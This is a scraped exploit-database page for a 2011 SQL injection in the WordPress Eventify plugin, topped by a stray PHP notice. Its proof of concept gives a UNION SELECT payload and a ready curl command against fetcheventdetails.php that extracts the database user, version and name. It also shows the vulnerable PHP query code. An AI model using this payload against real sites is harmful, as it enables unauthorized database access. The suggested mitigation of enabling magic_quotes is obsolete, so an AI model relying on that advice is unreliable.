Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-pagenavi domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home/u918112125/domains/exploit.company/public_html/wp-includes/functions.php on line 6114
WordPress Eventify - Simple Events plugin - exploit.company
header-logo
Suggest Exploit
vendor:
Eventify - Simple Events plugin
by:
Miroslav Stampar
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Eventify - Simple Events plugin
Affected Version From: 1.7.f
Affected Version To: 1.7.f
Patch Exists: No
Related CWE:
CPE: a:wordpress:eventify_plugin
Metasploit:
Other Scripts:
Platforms Tested:
2011

WordPress Eventify – Simple Events plugin <= 1.7.f SQL Injection Vulnerability

The WordPress Eventify - Simple Events plugin version 1.7.f and below is vulnerable to SQL Injection. By sending a specially crafted POST request to the fetcheventdetails.php file, an attacker can execute arbitrary SQL queries on the database.

Mitigation:

Update to the latest version of the plugin or apply a patch if available. Enable magic_quotes to prevent SQL Injection attacks.
Source

Exploit-DB raw data:

# Exploit Title: WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/eventify.zip
# Version: 1.7.f (tested)
# Note: magic_quotes has to be turned off

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php
 npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9--%20

e.g.:
curl --data "npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9-- " http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php

---------------
Vulnerable code
---------------
require_once(str_ireplace("/wp-content","",$_POST['npath']).'/wp-load.php');
$eventid =  $_POST['eventid'];
$action = "fetch";

if($action=="fetch"){
    ...
    $qry= "select * from ".$table_name." where em_id='$eventid'" ;
    ...
    $results = $wpdb->get_results($qry);